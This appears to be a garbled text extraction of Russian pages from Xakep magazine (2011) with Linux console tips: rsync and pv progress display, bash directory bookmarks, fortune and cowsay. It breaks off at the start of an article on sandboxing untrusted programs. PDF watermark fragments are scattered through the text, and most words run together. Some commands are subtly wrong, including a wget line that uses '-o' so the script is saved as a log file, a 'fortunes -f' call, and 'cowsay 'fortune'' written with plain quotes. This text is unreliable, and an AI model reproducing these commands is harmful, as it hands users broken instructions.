 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

w Click

to

 

 

 

 

 

UNIXOID

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

Так работает автодополнение в fish

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

alias cpr='rsync --progress'

Ииспользуемкомандуcpr вместоcp:

$ cpr file1 file2

Еслидобавитьопцию'--remove-source-files', тоисходныефайлы будутудалены(правда, следуетпомнить, чтовпределаходной файловойсистемыmv гораздобыстрееrsync). Единственныйминус

— прогрессотображаетсядлякаждогофайлавотдельности, общий прогрессувидетьнельзя.

Чтобыувидетьходвыполнения, например, присозданииархива, можноиспользоватьутилитуpv (Pipe Viewer). Техническионапредставляетсобойзаменустандартногоcat, способнуюнетолькотупо копироватьбайтынавыход, ноипоказыватьпрогрессэтойоперации. Например:

$ tar -czf — /path/to/dir | pv > /path/to/archive.tgz

758MB 0:01:29 [8,48MB/s] [

<=>

 

 

Ужехорошо. Нонехватаетвременизавершения. Дляэтогонадо передатьутилитеpv размеркаталога(вбайтах) спомощьюключа'-s':

$ tar -czf — /path/to/dir | pv -s $(du -sb /path/to/dir | grep -o '[0-9]*') > /path/to/archive.tgz

461MB 0:00:21 [

32MB/s] [=============================

==========>

] 60% ETA 0:00:13

Каждыйразнабиратьтакуюконструкциюнеоченьудобно, лучше сделатьалиас.

Закладкикаталоговвконсоли

Привыполненииоперацийадминистрированияприходитсячасто переходитьпокаталогамфайловогодерева. Bash поддерживает рядсокращений(например, чтобывернутьсявдомашнийкаталог, простовводим«cd», впредыдущийкаталог— «cd -»), ноэтогомало. Конечно, можноиспользоватьпсевдонимы(aliases), вроде:

alias cdwww='cd /var/www'

Ноэтоговсеравнобываетнедостаточновтомслучае, еслисписоккаталоговбольшой. Иглавное— использованиеалиасовне оченьудобно. Так, чтобысоздатьновыйпсевдоним, нужновручную прописатьегов~/.bashrc иперезапуститьтерминал. Небольшой

086

скриптDirectory Bookmarks for BASH (dirb.info/bashDirB) расширяет наборсокращений, позволяяналетусоздаватьзакладкинанужные каталогиипереходитьвнихкороткойкомандой.

Скачиваем:

$ wget -c http://www.dirb.info/bashDirB -o ~/.bashDirB

Идобавляемвфайл~/.bashrc строку:

source ~/.bashDirB

Теперькаждаяноваясессиябудетподдерживатьзакладки. Переходимвнужныйкаталогисохраняемеговзакладку:

$ cd /var/www $ s www

Послеэтогобудетсозданфайл~/.DirB/www, содержащийссылкуна закладку. Теперь, чтобывернутьсявуказанныйкаталогслюбогоместа файловойсистемы, достаточноввестивконсоли«g www». Аналогичнымобразомможносоздаватьлюбоеколичествозакладок.

Ноэтоневсепараметры. Например, параметр«p» позволяетзапомнитьпоследниеперемещенияивыводитихвконсоли:

$ p www

/var/www

~

How much is the FISH?

Новичкамвконсолиследуетвнимательнопосмотретьвсторону альтернативногокомандногоинтерпретатораподназваниемFISH (FriendlyInteractiveShell).Егопреимуществапередbashдовольновну-

шительны.Fishнаполнуюкатушкуиспользуетвозможностьуправленияцветамитерминала.Оноснащенгораздоболеемощнойсистемой автодополнения,котораявыводитнаэкраннетолькоспискикаталогов,аргументовиименакоманд,ноимассудругойполезнойинформации(например,рядомскаждойопциейпомещаетсяописаниетого,что онаделает).ВFishвстроенаоченьхорошаясистемаподсказок,такчто

еслитыдопустишьошибку,тополучишьобширноеразъяснениетого, чтопроизошло,испособыобходапроблемы.Наконец,скриптовый языкFishгораздопрощеилогичнеестандартногоязыкаsh.

XÀÊÅÐ 03 /146/ 2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

tar и индикатор процесса

Рекурсивный глоббинг в bash4

И, наконец, командаs1 позволитпросмотретьлистингзакладок. Дляудалениязакладкииспользуемключ'-r'.

Такжеследуетзнать, чтоbashDirB модифицируетпеременную PS1 такимобразом, чтовприглашениивыводитсявремяиномер текущегокаталогавhistory. Еслитебяэтонеустраивает, просто закомментируйсоответствующуюстрокувскрипте.

ВкачествеальтернативыbashDirB можноиспользоватьapparix (micans.org/apparix), предлагающийтрикоманды: bm (создание закладки), to (переходкзакладке) иportal (добавлениеподкаталоговвзакладки). Помимоbash такжеподдерживаетсяcsh. ПакетдоступенврепозитарииDebian/Ubuntu инекоторыхдругих дистрибутивов.

Фортунки

ВнекоторыхLinux-дистрибутивахпослезапускаконсоливыво- дитсянебольшаяцитата. Практическойпользыотнеевродеинет, нонебольшоешуточноевысказываниеповышаетнастроениеи настраиваетнарабочийлад. Тематическиепакетысбазамивысказыванийназываютсяfortunes, асамицитаты— фортунками.

ЗанесколькодесятковлетвСетипоявилосьбольшоеколичество сборниковцитат, которыелегкоинтегрируютсявконсоль. Чтобы установитьихвDebian илиUbuntu, достаточноввестикоманду:

$ sudo apt-get install fortunes fortunes-debian- hits fortunes-ubuntu-server fortunes-min fortune-mod

fortunes-ru

Последниедвапакетасодержатбольшоеколичествоафоризмовна русском. Кромеэтого, винтернетедоступныидругиерусскоязычныесборкифортунок, найтикоторыеоченьпросто— достаточно вбитьвГуглеfortunes-ru иполучимнесколькодесятковссылок (например, избранныецитатыссайтаlinux.org.ru: lorquotes.ru/ fortunes.php).

Послеустановкинеобходимонастроитьвыводцитатвконсоль. В самомпростомслучаедостаточнопрописатьвконфиг~/.bashrc всегооднослово:

$ echo "fortune" >> ~/.bashrc

Далееследуетперезапуститьтерминалилиперезагрузитьфайлнастроек(команда«source ~/.bashrc»). Cписоквыводимыхкатегорий фортунокможнополучить, введя:

XÀÊÅÐ 03 /146/ 2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

$ fortunes -f

Послеустановкивсефортункипомещаютсяводинизподкаталогов/usr/share/games/fortunes, откудаихизабираетпрограмма. Вслучаенеобходимостиприпомощиключа'-m' можноуказать шаблонфортунок, которыебудутвыводиться. Последобавления своихфортунокследуетиспользоватьутилитуstrfile длясоздания индекса(strfile файл_фортунок).

ПрижеланииможнограбитьRSS-новости, твиты, прогнозпогоды иликотировкивалютслюбогосайта, выводяихвкачествефортунок. Хотядляэтогомнебольшенравятсяаналогиfortunes — пакеты cowsay иxcowsay. Сowsay представляетсобойприложениенаPerl, котороевыводитизображениеговорящейилидумающейкоровы, нарисованнойASCII-символами.

$ sudo apt-get install cowsay xcowsay

Поумолчаниюкорованезнает, чтосказать, умнуюмысльейнадо подкинуть. Например, выведемuptime:

$ uptime | cowsay

Илифортунку(такреализовановLinux Mint):

$ cowsay 'fortune'

Кроместандартнойкоровыдоступныидругиеперсонажи, соответствующиеназваниюфайловвподкаталоге/usr/share/cowsay/ cows. Вызватьихможноприпомощипараметра'-f'. Такжеряд параметровизменяютвнешнийвидкоровы: '-t' — усталаякорова, '-p' — параноидальная, '-w' — обалдевшаяитакдалее. Чтобыавтоматизироватьпроцесс, заносимстрокузапускав~/.bashrc:

COWDIR=/usr/share/cowsay/cows/; COWNUM=$(($RANDOM%$(ls $COWDIR | wc -l))); COWFILE=$(ls $COWDIR | sed -n ''$COWNUM'p'); fortune | cowsay -f $COWFILE

Заключение

Собственно, этовсе. Следуярекомендациям, описаннымвстатье, тысможешьсделатьработувконсолигораздоболееудобнойипродуктивной, атакжеосвободитьвремядляболееважныхзанятий. z

087

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY

 

 

 

 

 

 

 

 

UNIXOID

 

 

 

 

 

 

 

 

m

 

Евгений Зобнин zobnin@gmail.com

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

Зоопарк накарантине

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Запускаемнебезопасныйсофтбезвредасистеме

Совсем скоро писатели троянов и прочей нечисти всерьез возьмутся за пингвина и наберутся знаний, чтобы создать по-настоящему опасные вирусы. Даже уже существующих троянов не так просто отличить от легальных программ, зато их всегда можно поместить в карантин,

Многиедажеоченьграмотныепользовате- лиUNIX-подобныхсистемсчитаютсвоиОС неуязвимымикразногородапрограммной заразе. Иоднаизглавныхпричинтакой уверенности— традицияустанавливатьсофт черезпроверенные, подписанныесертификатамирепозитории, которыепоопределению немогутсодержатьзловредныхпрограмм. Втораяпричина— разделениеправ, благодарякоторомумалваридовольнотрудно навредитьсистемеилипрописатьсявавтозагрузку(пользователиWindows любятнаделять себяправамиадмина, вUNIX этонетольконе поощряется, ночастоивовсезапрещено). Можнодолгоговоритьотом, насколькоабсурднатакаяуверенность; о95% пользователей Ubuntu, которыеспокойноустанавливают любойподсунутыйимdeb-пакет; одосмешногопростомспособеперехватапользовательскогопароляспомощьюпрограммтипаxspy; обавтозагрузкеKDE иGNOME, прописатьсяв которуюможно, создавскрипт, состоящийиз

однойстроки... Ноэтостатьяодругом. Вконце концов, всемылюди, иниктоизнаснезастрахованотошибок, ктомужеиногдаочень трудноотказатьсебевзапускепрограммы, скачаннойизнепроверенногоисточника.

Рукипрочьотфайлов

Одинизнаиболеепопулярныхспособов помещенияприложениявизолированную среду— этотакназываемыепесочницы, которыевLinux представленысистемным вызовомchroot, воFreeBSD — технологией jail (тюрьма), вSolaris — зонами(или, говоря языкоммаркетологов, контейнерами). Все этоотличныеспособыизолироватьсофтину отосновнойсистемытак, чтобыонанесмогла ейнавредить. Однакоувсехтрехтехнологийестьнескольконедостатков, которые делаютихнеудобнымидляиспользованияна домашнемкомпе. Всеонитребуютсоздания полнойкопиисуществующейсистемы, начто тратитсявремя, дисковоепространство(что

насегодняшнийдень, правда, нетакважно) и нервы. Всетехнологииотносительнопросты виспользовании, нотребуютчтениядокументацииивниканиявдетали. Кромевсего прочего, голыйchroot сампосебеникогдане являлсяинструментомобеспечениябезопасности, апотомууязвимдлямногихтиповатак. Программуможнозапуститьввиртуальной машине, ноэтапроцедураопятьжепотребует созданиявыделенноймашины, скачивания/ созданияобразов, перемещенияприложения междуреальнойивиртуальноймашиной. В общем, проблемивознипредостаточно. Намжетребуетсяпростоесредство, спо- мощьюкоторогоможноводну-двекоманды послатьприложениетуда, откудаоноужене выберется. Издесьмыдолжнызадуматься отом, какуюфункциональностьприложения следуетограничивать. Ведьеслипрограмме запретитьабсолютновсе, ееполезностьока-

жетсянулевой(болеетого, мыдаженесможем понять, зловредналионавообще).

088

XÀÊÅÐ 03 /146/ 2011

Соседние файлы в папке журнал хакер